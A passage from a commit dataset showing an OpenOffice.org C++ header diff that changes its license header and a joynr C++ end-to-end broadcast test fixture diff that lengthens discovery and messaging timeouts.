throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getScale( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getTableName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getCatalogName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getColumnType( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnTypeName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isReadOnly( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isWritable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isDefinitelyWritable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnServiceName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n\n \/\/ methods to set the right column mapping\n void setColumnPrivilegesMap();\n void setColumnMap();\n void setColumnsMap();\n void setTableNameMap();\n void setTablesMap();\n void setProcedureColumnsMap();\n void setPrimaryKeysMap();\n void setIndexInfoMap();\n void setTablePrivilegesMap();\n void setCrossReferenceMap();\n void setTypeInfoMap();\n void setProcedureNameMap();\n void setProceduresMap();\n void setTableTypes();\n void setBestRowIdentifierMap() { setVersionColumnsMap();}\n void setVersionColumnsMap();\n void setExportedKeysMap() { setCrossReferenceMap(); }\n void setImportedKeysMap() { setCrossReferenceMap(); }\n void setCatalogsMap();\n void setSchemasMap();\n };\n}\n#endif \/\/ _CONNECTIVITY_FILE_ADATABASEMETARESULTSETMETADATA_HXX_\n\n\n<commit_msg>INTEGRATION: CWS changefileheader (1.6.122); FILE MERGED 2008\/04\/01 15:09:05 thb 1.6.122.3: #i85898# Stripping all external header guards 2008\/04\/01 10:53:16 thb 1.6.122.2: #i85898# Stripping all external header guards 2008\/03\/28 15:24:04 rt 1.6.122.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: FDatabaseMetaDataResultSetMetaData.hxx,v $\n * $Revision: 1.7 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#ifndef _CONNECTIVITY_DATABASEMETADATARESULTSETMETADATA_HXX_\n#define _CONNECTIVITY_DATABASEMETADATARESULTSETMETADATA_HXX_\n\n#include <com\/sun\/star\/sdbc\/XResultSetMetaData.hpp>\n#include <cppuhelper\/implbase1.hxx>\n#ifndef _VECTOR_\n#include <vector>\n#endif\n#include \"FDatabaseMetaDataResultSet.hxx\"\n#include \"OColumn.hxx\"\n#include \"connectivity\/StdTypeDefs.hxx\"\n\nnamespace connectivity\n{\n \/\/**************************************************************\n \/\/************ Class: ODatabaseMetaDataResultSetMetaData\n \/\/**************************************************************\n typedef ::cppu::WeakImplHelper1< ::com::sun::star::sdbc::XResultSetMetaData> ODatabaseMetaResultSetMetaData_BASE;\n\n class ODatabaseMetaDataResultSetMetaData : public ODatabaseMetaResultSetMetaData_BASE\n {\n TIntVector m_vMapping; \/\/ when not every column is needed\n ::std::map<sal_Int32,connectivity::OColumn> m_mColumns;\n ::std::map<sal_Int32,connectivity::OColumn>::const_iterator m_mColumnsIter;\n\n sal_Int32 m_nColCount;\n protected:\n virtual ~ODatabaseMetaDataResultSetMetaData();\n public:\n \/\/ ein Konstruktor, der fuer das Returnen des Objektes benoetigt wird:\n ODatabaseMetaDataResultSetMetaData( )\n : m_nColCount(0)\n {\n }\n \/\/\/ Avoid ambigous cast error from the compiler.\n inline operator ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XResultSetMetaData > () throw()\n { return this; }\n\n virtual sal_Int32 SAL_CALL getColumnCount( ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isAutoIncrement( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isCaseSensitive( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isSearchable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isCurrency( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL isNullable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isSigned( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getColumnDisplaySize( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnLabel( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getSchemaName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getPrecision( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getScale( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getTableName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getCatalogName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Int32 SAL_CALL getColumnType( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnTypeName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isReadOnly( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isWritable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual sal_Bool SAL_CALL isDefinitelyWritable( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n virtual ::rtl::OUString SAL_CALL getColumnServiceName( sal_Int32 column ) throw(::com::sun::star::sdbc::SQLException, ::com::sun::star::uno::RuntimeException);\n\n \/\/ methods to set the right column mapping\n void setColumnPrivilegesMap();\n void setColumnMap();\n void setColumnsMap();\n void setTableNameMap();\n void setTablesMap();\n void setProcedureColumnsMap();\n void setPrimaryKeysMap();\n void setIndexInfoMap();\n void setTablePrivilegesMap();\n void setCrossReferenceMap();\n void setTypeInfoMap();\n void setProcedureNameMap();\n void setProceduresMap();\n void setTableTypes();\n void setBestRowIdentifierMap() { setVersionColumnsMap();}\n void setVersionColumnsMap();\n void setExportedKeysMap() { setCrossReferenceMap(); }\n void setImportedKeysMap() { setCrossReferenceMap(); }\n void setCatalogsMap();\n void setSchemasMap();\n };\n}\n#endif \/\/ _CONNECTIVITY_FILE_ADATABASEMETARESULTSETMETADATA_HXX_\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * #%L\n * %%\n * Copyright (C) 2017 BMW Car IT GmbH\n * %%\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n * #L%\n *\/\n#include <algorithm>\n#include <cctype>\n#include <cstdint>\n#include <memory>\n#include <string>\n#include <vector>\n\n#include <boost\/algorithm\/string\/predicate.hpp>\n#include <gtest\/gtest.h>\n#include <gmock\/gmock.h>\n\n#include \"joynr\/JoynrClusterControllerRuntime.h\"\n#include \"joynr\/tests\/testProxy.h\"\n#include \"joynr\/MessagingSettings.h\"\n#include \"joynr\/MulticastSubscriptionQos.h\"\n#include \"joynr\/OnChangeSubscriptionQos.h\"\n#include \"joynr\/tests\/testAbstractProvider.h\"\n#include \"joynr\/LibjoynrSettings.h\"\n#include \"joynr\/PrivateCopyAssign.h\"\n#include \"joynr\/BrokerUrl.h\"\n\n#include \"tests\/JoynrTest.h\"\n#include \"tests\/mock\/MockLocationUpdatedSelectiveFilter.h\"\n#include \"tests\/mock\/MockSubscriptionListener.h\"\n#include \"tests\/utils\/MyTestProvider.h\"\n#include \"tests\/utils\/PtrUtils.h\"\n\nusing namespace ::testing;\nusing namespace joynr;\n\nstatic const std::string messagingPropertiesPersistenceFileName1(\n \"End2EndBroadcastTest-runtime1-joynr.persist\");\nstatic const std::string messagingPropertiesPersistenceFileName2(\n \"End2EndBroadcastTest-runtime2-joynr.persist\");\n\nnamespace joynr {\n\nclass End2EndBroadcastTestBase : public TestWithParam< std::tuple<std::string, std::string> > {\npublic:\n std::shared_ptr<JoynrClusterControllerRuntime> runtime1;\n std::shared_ptr<JoynrClusterControllerRuntime> runtime2;\n std::string baseUuid;\n std::string uuid;\n std::string domainName;\n Semaphore semaphore;\n Semaphore altSemaphore;\n joynr::tests::TestLocationUpdateSelectiveBroadcastFilterParameters filterParameters;\n std::shared_ptr<MockLocationUpdatedSelectiveFilter> filter;\n std::uint16_t registerProviderWait;\n std::uint16_t subscribeToAttributeWait;\n std::uint16_t subscribeToBroadcastWait;\n joynr::types::Localisation::GpsLocation gpsLocation;\n joynr::types::Localisation::GpsLocation gpsLocation2;\n joynr::types::Localisation::GpsLocation gpsLocation3;\n joynr::types::Localisation::GpsLocation gpsLocation4;\n\n End2EndBroadcastTestBase() :\n runtime1(),\n runtime2(),\n baseUuid(util::createUuid()),\n uuid( \"_\" + baseUuid.substr(1, baseUuid.length()-2)),\n domainName(\"cppEnd2EndBroadcastTest_Domain\" + uuid),\n semaphore(0),\n altSemaphore(0),\n filter(std::make_shared<MockLocationUpdatedSelectiveFilter>()),\n registerProviderWait(1000),\n subscribeToAttributeWait(2000),\n subscribeToBroadcastWait(2000),\n gpsLocation(types::Localisation::GpsLocation()),\n gpsLocation2(types::Localisation::GpsLocation(\n 9.0,\n 51.0,\n 508.0,\n types::Localisation::GpsFixEnum::MODE2D,\n 0.0,\n 0.0,\n 0.0,\n 0.0,\n 444,\n 444,\n 2)),\n gpsLocation3(types::Localisation::GpsLocation(\n 9.0,\n 51.0,\n 508.0,\n types::Localisation::GpsFixEnum::MODE2D,\n 0.0,\n 0.0,\n 0.0,\n 0.0,\n 444,\n 444,\n 3)),\n gpsLocation4(types::Localisation::GpsLocation(\n 9.0,\n 51.0,\n 508.0,\n types::Localisation::GpsFixEnum::MODE2D,\n 0.0,\n 0.0,\n 0.0,\n 0.0,\n 444,\n 444,\n 4)),\n providerParticipantId(),\n integration1Settings(\"test-resources\/libjoynrSystemIntegration1.settings\"),\n integration2Settings(\"test-resources\/libjoynrSystemIntegration2.settings\"),\n httpTransport(false)\n {\n auto settings1 = std::make_unique<Settings>(std::get<0>(GetParam()));\n auto settings2 = std::make_unique<Settings>(std::get<1>(GetParam()));\n MessagingSettings messagingSettings1(*settings1);\n MessagingSettings messagingSettings2(*settings2);\n messagingSettings1.setMessagingPropertiesPersistenceFilename(\n messagingPropertiesPersistenceFileName1);\n messagingSettings2.setMessagingPropertiesPersistenceFilename(\n messagingPropertiesPersistenceFileName2);\n\n std::string brokerProtocol = messagingSettings1.getBrokerUrl().getBrokerChannelsBaseUrl().getProtocol();\n httpTransport = boost::iequals(brokerProtocol, \"http\") || boost::iequals(brokerProtocol, \"https\");\n\n Settings::merge(integration1Settings, *settings1, false);\n\n runtime1 = std::make_shared<JoynrClusterControllerRuntime>(std::move(settings1));\n runtime1->init();\n\n Settings::merge(integration2Settings, *settings2, false);\n\n runtime2 = std::make_shared<JoynrClusterControllerRuntime>(std::move(settings2));\n runtime2->init();\n\n filterParameters.setCountry(\"Germany\");\n filterParameters.setStartTime(\"4.00 pm\");\n runtime1->start();\n runtime2->start();\n }\n\n ~End2EndBroadcastTestBase(){\n if (!providerParticipantId.empty()) {\n unregisterProvider();\n }\n bool deleteChannel = true;\n runtime1->stop(deleteChannel);\n runtime2->stop(deleteChannel);\n test::util::resetAndWaitUntilDestroyed(runtime1);\n test::util::resetAndWaitUntilDestroyed(runtime2);\n\n \/\/ Delete persisted files\n test::util::removeAllCreatedSettingsAndPersistencyFiles();\n }\n\nprivate:\n std::string providerParticipantId;\n Settings integration1Settings;\n Settings integration2Settings;\n DISALLOW_COPY_AND_ASSIGN(End2EndBroadcastTestBase);\n bool httpTransport;\n\nprotected:\n bool usesHttpTransport() {\n return httpTransport;\n }\n\n std::shared_ptr<MyTestProvider> registerProvider() {\n return registerProvider(runtime1);\n }\n\n void unregisterProvider() {\n return runtime1->unregisterProvider(providerParticipantId);\n }\n\n std::shared_ptr<MyTestProvider> registerProvider(std::shared_ptr<JoynrClusterControllerRuntime> runtime) {\n auto testProvider = std::make_shared<MyTestProvider>();\n types::ProviderQos providerQos;\n std::chrono::milliseconds millisSinceEpoch =\n std::chrono::duration_cast<std::chrono::milliseconds>(\n std::chrono::system_clock::now().time_since_epoch());\n providerQos.setPriority(millisSinceEpoch.count());\n providerQos.setScope(joynr::types::ProviderScope::GLOBAL);\n providerQos.setSupportsOnChangeSubscriptions(true);\n providerParticipantId = runtime->registerProvider<tests::testProvider>(domainName, testProvider, providerQos);\n\n \/\/ This wait is necessary, because registerProvider is async, and a lookup could occur\n \/\/ before the register has finished.\n std::this_thread::sleep_for(std::chrono::milliseconds(registerProviderWait));\n\n return testProvider;\n }\n\n std::shared_ptr<tests::testProxy> buildProxy() {\n return buildProxy(runtime2);\n }\n\n std::shared_ptr<tests::testProxy> buildProxy(std::shared_ptr<JoynrClusterControllerRuntime> runtime) {\n std::shared_ptr<ProxyBuilder<tests::testProxy>> testProxyBuilder\n = runtime->createProxyBuilder<tests::testProxy>(domainName);\n DiscoveryQos discoveryQos;\n discoveryQos.setArbitrationStrategy(DiscoveryQos::ArbitrationStrategy::HIGHEST_PRIORITY);\n discoveryQos.setDiscoveryTimeoutMs(3000);\n discoveryQos.setRetryIntervalMs(250);\n\n std::int64_t qosRoundTripTTL = 500;\n\n std::shared_ptr<tests::testProxy> testProxy(testProxyBuilder\n ->setMessagingQos(MessagingQos(qosRoundTripTTL))\n ->setDiscoveryQos(discoveryQos)\n ->build());\n\n return testProxy;\n }\n\n template <typename FireBroadcast, typename SubscribeTo, typename UnsubscribeFrom, typename T>\n void testOneShotBroadcastSubscription(const T& expectedValue,\n SubscribeTo subscribeTo,\n UnsubscribeFrom unsubscribeFrom,\n FireBroadcast fireBroadcast) {\n auto mockListener = std::make_shared<MockSubscriptionListenerOneType<T>>();\n\n \/\/ Use a semaphore to count and wait on calls to the mock listener\n ON_CALL(*mockListener, onReceive(Eq(expectedValue)))\n .WillByDefault(ReleaseSemaphore(&semaphore));\n\n testOneShotBroadcastSubscription(mockListener,\n subscribeTo,\n unsubscribeFrom,\n fireBroadcast,\n expectedValue);\n }\n\n template <typename SubscriptionListener,\n typename FireBroadcast,\n typename SubscribeTo,\n typename UnsubscribeFrom,\n typename ...T>\n void testOneShotBroadcastSubscription(SubscriptionListener subscriptionListener,\n SubscribeTo subscribeTo,\n UnsubscribeFrom unsubscribeFrom,\n FireBroadcast fireBroadcast,\n T... expectedValues) {\n std::vector<std::string> partitions({}); \/\/ TODO test with real partitions\n std::shared_ptr<MyTestProvider> testProvider = registerProvider();\n\n std::shared_ptr<tests::testProxy> testProxy = buildProxy();\n\n auto subscriptionQos = std::make_shared<MulticastSubscriptionQos>();\n subscriptionQos->setValidityMs(500000);\n\n std::string subscriptionId;\n subscribeTo(testProxy.get(), subscriptionListener, subscriptionQos, subscriptionId);\n\n (*testProvider.*fireBroadcast)(expectedValues..., partitions);\n\n \/\/ Wait for a subscription message to arrive\n ASSERT_TRUE(semaphore.waitFor(std::chrono::seconds(3)));\n unsubscribeFrom(testProxy.get(), subscriptionId);\n }\n\n template <typename BroadcastFilter>\n void addFilterToTestProvider(std::shared_ptr<MyTestProvider> testProvider, std::shared_ptr<BroadcastFilter> filter)\n {\n if (filter) {\n testProvider->addBroadcastFilter(filter);\n }\n }\n\n void addFilterToTestProvider(std::shared_ptr<MyTestProvider> testProvider, std::nullptr_t filter)\n {\n std::ignore = testProvider;\n std::ignore = filter;\n }\n\n template <typename SubscriptionListener,\n typename FireBroadcast,\n typename SubscribeTo,\n typename UnsubscribeFrom,\n typename BroadcastFilterPtr,\n typename ...T>\n void testOneShotBroadcastSubscriptionWithFiltering(SubscriptionListener subscriptionListener,\n SubscribeTo subscribeTo,\n UnsubscribeFrom unsubscribeFrom,\n FireBroadcast fireBroadcast,\n BroadcastFilterPtr filter,\n T... expectedValues) {\n std::shared_ptr<MyTestProvider> testProvider = registerProvider();\n addFilterToTestProvider(testProvider, filter);\n\n std::shared_ptr<tests::testProxy> testProxy = buildProxy();\n\n std::int64_t minInterval_ms = 50;\n std::string subscriptionId;\n auto subscriptionQos = std::make_shared<OnChangeSubscriptionQos>(\n 500000, \/\/ validity_ms\n 1000, \/\/ publication ttl\n minInterval_ms); \/\/ minInterval_ms\n\n subscribeTo(testProxy.get(), subscriptionListener, subscriptionQos, subscriptionId);\n\n (*testProvider.*fireBroadcast)(expectedValues...);\n\n \/\/ Wait for a subscription message to arrive\n ASSERT_TRUE(semaphore.waitFor(std::chrono::seconds(3)));\n unsubscribeFrom(testProxy.get(), subscriptionId);\n }\n};\n\n} \/\/ namespace joynr\n<commit_msg>[C++] Fixed End2EndBroadcastTestBase<commit_after>\/*\n * #%L\n * %%\n * Copyright (C) 2017 BMW Car IT GmbH\n * %%\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n * #L%\n *\/\n#include <algorithm>\n#include <cctype>\n#include <cstdint>\n#include <memory>\n#include <string>\n#include <vector>\n\n#include <boost\/algorithm\/string\/predicate.hpp>\n#include <gtest\/gtest.h>\n#include <gmock\/gmock.h>\n\n#include \"joynr\/JoynrClusterControllerRuntime.h\"\n#include \"joynr\/tests\/testProxy.h\"\n#include \"joynr\/MessagingSettings.h\"\n#include \"joynr\/MulticastSubscriptionQos.h\"\n#include \"joynr\/OnChangeSubscriptionQos.h\"\n#include \"joynr\/tests\/testAbstractProvider.h\"\n#include \"joynr\/LibjoynrSettings.h\"\n#include \"joynr\/PrivateCopyAssign.h\"\n#include \"joynr\/BrokerUrl.h\"\n\n#include \"tests\/JoynrTest.h\"\n#include \"tests\/mock\/MockLocationUpdatedSelectiveFilter.h\"\n#include \"tests\/mock\/MockSubscriptionListener.h\"\n#include \"tests\/utils\/MyTestProvider.h\"\n#include \"tests\/utils\/PtrUtils.h\"\n\nusing namespace ::testing;\nusing namespace joynr;\n\nstatic const std::string messagingPropertiesPersistenceFileName1(\n \"End2EndBroadcastTest-runtime1-joynr.persist\");\nstatic const std::string messagingPropertiesPersistenceFileName2(\n \"End2EndBroadcastTest-runtime2-joynr.persist\");\n\nnamespace joynr {\n\nclass End2EndBroadcastTestBase : public TestWithParam< std::tuple<std::string, std::string> > {\npublic:\n std::shared_ptr<JoynrClusterControllerRuntime> runtime1;\n std::shared_ptr<JoynrClusterControllerRuntime> runtime2;\n std::string baseUuid;\n std::string uuid;\n std::string domainName;\n Semaphore semaphore;\n Semaphore altSemaphore;\n joynr::tests::TestLocationUpdateSelectiveBroadcastFilterParameters filterParameters;\n std::shared_ptr<MockLocationUpdatedSelectiveFilter> filter;\n std::uint16_t registerProviderWait;\n std::uint16_t subscribeToAttributeWait;\n std::uint16_t subscribeToBroadcastWait;\n joynr::types::Localisation::GpsLocation gpsLocation;\n joynr::types::Localisation::GpsLocation gpsLocation2;\n joynr::types::Localisation::GpsLocation gpsLocation3;\n joynr::types::Localisation::GpsLocation gpsLocation4;\n\n End2EndBroadcastTestBase() :\n runtime1(),\n runtime2(),\n baseUuid(util::createUuid()),\n uuid( \"_\" + baseUuid.substr(1, baseUuid.length()-2)),\n domainName(\"cppEnd2EndBroadcastTest_Domain\" + uuid),\n semaphore(0),\n altSemaphore(0),\n filter(std::make_shared<MockLocationUpdatedSelectiveFilter>()),\n registerProviderWait(1000),\n subscribeToAttributeWait(2000),\n subscribeToBroadcastWait(2000),\n gpsLocation(types::Localisation::GpsLocation()),\n gpsLocation2(types::Localisation::GpsLocation(\n 9.0,\n 51.0,\n 508.0,\n types::Localisation::GpsFixEnum::MODE2D,\n 0.0,\n 0.0,\n 0.0,\n 0.0,\n 444,\n 444,\n 2)),\n gpsLocation3(types::Localisation::GpsLocation(\n 9.0,\n 51.0,\n 508.0,\n types::Localisation::GpsFixEnum::MODE2D,\n 0.0,\n 0.0,\n 0.0,\n 0.0,\n 444,\n 444,\n 3)),\n gpsLocation4(types::Localisation::GpsLocation(\n 9.0,\n 51.0,\n 508.0,\n types::Localisation::GpsFixEnum::MODE2D,\n 0.0,\n 0.0,\n 0.0,\n 0.0,\n 444,\n 444,\n 4)),\n providerParticipantId(),\n integration1Settings(\"test-resources\/libjoynrSystemIntegration1.settings\"),\n integration2Settings(\"test-resources\/libjoynrSystemIntegration2.settings\"),\n httpTransport(false)\n {\n auto settings1 = std::make_unique<Settings>(std::get<0>(GetParam()));\n auto settings2 = std::make_unique<Settings>(std::get<1>(GetParam()));\n MessagingSettings messagingSettings1(*settings1);\n MessagingSettings messagingSettings2(*settings2);\n messagingSettings1.setMessagingPropertiesPersistenceFilename(\n messagingPropertiesPersistenceFileName1);\n messagingSettings2.setMessagingPropertiesPersistenceFilename(\n messagingPropertiesPersistenceFileName2);\n\n std::string brokerProtocol = messagingSettings1.getBrokerUrl().getBrokerChannelsBaseUrl().getProtocol();\n httpTransport = boost::iequals(brokerProtocol, \"http\") || boost::iequals(brokerProtocol, \"https\");\n\n Settings::merge(integration1Settings, *settings1, false);\n\n runtime1 = std::make_shared<JoynrClusterControllerRuntime>(std::move(settings1));\n runtime1->init();\n\n Settings::merge(integration2Settings, *settings2, false);\n\n runtime2 = std::make_shared<JoynrClusterControllerRuntime>(std::move(settings2));\n runtime2->init();\n\n filterParameters.setCountry(\"Germany\");\n filterParameters.setStartTime(\"4.00 pm\");\n runtime1->start();\n runtime2->start();\n }\n\n ~End2EndBroadcastTestBase(){\n if (!providerParticipantId.empty()) {\n unregisterProvider();\n }\n bool deleteChannel = true;\n runtime1->stop(deleteChannel);\n runtime2->stop(deleteChannel);\n test::util::resetAndWaitUntilDestroyed(runtime1);\n test::util::resetAndWaitUntilDestroyed(runtime2);\n\n \/\/ Delete persisted files\n test::util::removeAllCreatedSettingsAndPersistencyFiles();\n }\n\nprivate:\n std::string providerParticipantId;\n Settings integration1Settings;\n Settings integration2Settings;\n DISALLOW_COPY_AND_ASSIGN(End2EndBroadcastTestBase);\n bool httpTransport;\n\nprotected:\n bool usesHttpTransport() {\n return httpTransport;\n }\n\n std::shared_ptr<MyTestProvider> registerProvider() {\n return registerProvider(runtime1);\n }\n\n void unregisterProvider() {\n return runtime1->unregisterProvider(providerParticipantId);\n }\n\n std::shared_ptr<MyTestProvider> registerProvider(std::shared_ptr<JoynrClusterControllerRuntime> runtime) {\n auto testProvider = std::make_shared<MyTestProvider>();\n types::ProviderQos providerQos;\n std::chrono::milliseconds millisSinceEpoch =\n std::chrono::duration_cast<std::chrono::milliseconds>(\n std::chrono::system_clock::now().time_since_epoch());\n providerQos.setPriority(millisSinceEpoch.count());\n providerQos.setScope(joynr::types::ProviderScope::GLOBAL);\n providerQos.setSupportsOnChangeSubscriptions(true);\n providerParticipantId = runtime->registerProvider<tests::testProvider>(domainName, testProvider, providerQos);\n\n \/\/ This wait is necessary, because registerProvider is async, and a lookup could occur\n \/\/ before the register has finished.\n std::this_thread::sleep_for(std::chrono::milliseconds(registerProviderWait));\n\n return testProvider;\n }\n\n std::shared_ptr<tests::testProxy> buildProxy() {\n return buildProxy(runtime2);\n }\n\n std::shared_ptr<tests::testProxy> buildProxy(std::shared_ptr<JoynrClusterControllerRuntime> runtime) {\n std::shared_ptr<ProxyBuilder<tests::testProxy>> testProxyBuilder\n = runtime->createProxyBuilder<tests::testProxy>(domainName);\n DiscoveryQos discoveryQos;\n discoveryQos.setArbitrationStrategy(DiscoveryQos::ArbitrationStrategy::HIGHEST_PRIORITY);\n discoveryQos.setDiscoveryTimeoutMs(30000);\n discoveryQos.setRetryIntervalMs(500);\n\n std::int64_t qosRoundTripTTL = 40000;\n\n std::shared_ptr<tests::testProxy> testProxy(testProxyBuilder\n ->setMessagingQos(MessagingQos(qosRoundTripTTL))\n ->setDiscoveryQos(discoveryQos)\n ->build());\n\n return testProxy;\n }\n\n template <typename FireBroadcast, typename SubscribeTo, typename UnsubscribeFrom, typename T>\n void testOneShotBroadcastSubscription(const T& expectedValue,\n SubscribeTo subscribeTo,\n UnsubscribeFrom unsubscribeFrom,\n FireBroadcast fireBroadcast) {\n auto mockListener = std::make_shared<MockSubscriptionListenerOneType<T>>();\n\n \/\/ Use a semaphore to count and wait on calls to the mock listener\n ON_CALL(*mockListener, onReceive(Eq(expectedValue)))\n .WillByDefault(ReleaseSemaphore(&semaphore));\n\n testOneShotBroadcastSubscription(mockListener,\n subscribeTo,\n unsubscribeFrom,\n fireBroadcast,\n expectedValue);\n }\n\n template <typename SubscriptionListener,\n typename FireBroadcast,\n typename SubscribeTo,\n typename UnsubscribeFrom,\n typename ...T>\n void testOneShotBroadcastSubscription(SubscriptionListener subscriptionListener,\n SubscribeTo subscribeTo,\n UnsubscribeFrom unsubscribeFrom,\n FireBroadcast fireBroadcast,\n T... expectedValues) {\n std::vector<std::string> partitions({}); \/\/ TODO test with real partitions\n std::shared_ptr<MyTestProvider> testProvider = registerProvider();\n\n std::shared_ptr<tests::testProxy> testProxy = buildProxy();\n\n auto subscriptionQos = std::make_shared<MulticastSubscriptionQos>();\n subscriptionQos->setValidityMs(500000);\n\n std::string subscriptionId;\n subscribeTo(testProxy.get(), subscriptionListener, subscriptionQos, subscriptionId);\n\n (*testProvider.*fireBroadcast)(expectedValues..., partitions);\n\n \/\/ Wait for a subscription message to arrive\n ASSERT_TRUE(semaphore.waitFor(std::chrono::seconds(3)));\n unsubscribeFrom(testProxy.get(), subscriptionId);\n }\n\n template <typename BroadcastFilter>\n void addFilterToTestProvider(std::shared_ptr<MyTestProvider> testProvider, std::shared_ptr<BroadcastFilter> filter)\n {\n if (filter) {\n testProvider->addBroadcastFilter(filter);\n }\n }\n\n void addFilterToTestProvider(std::shared_ptr<MyTestProvider> testProvider, std::nullptr_t filter)\n {\n std::ignore = testProvider;\n std::ignore = filter;\n }\n\n template <typename SubscriptionListener,\n typename FireBroadcast,\n typename SubscribeTo,\n typename UnsubscribeFrom,\n typename BroadcastFilterPtr,\n typename ...T>\n void testOneShotBroadcastSubscriptionWithFiltering(SubscriptionListener subscriptionListener,\n SubscribeTo subscribeTo,\n UnsubscribeFrom unsubscribeFrom,\n FireBroadcast fireBroadcast,\n BroadcastFilterPtr filter,\n T... expectedValues) {\n std::shared_ptr<MyTestProvider> testProvider = registerProvider();\n addFilterToTestProvider(testProvider, filter);\n\n std::shared_ptr<tests::testProxy> testProxy = buildProxy();\n\n std::int64_t minInterval_ms = 50;\n std::string subscriptionId;\n auto subscriptionQos = std::make_shared<OnChangeSubscriptionQos>(\n 500000, \/\/ validity_ms\n 1000, \/\/ publication ttl\n minInterval_ms); \/\/ minInterval_ms\n\n 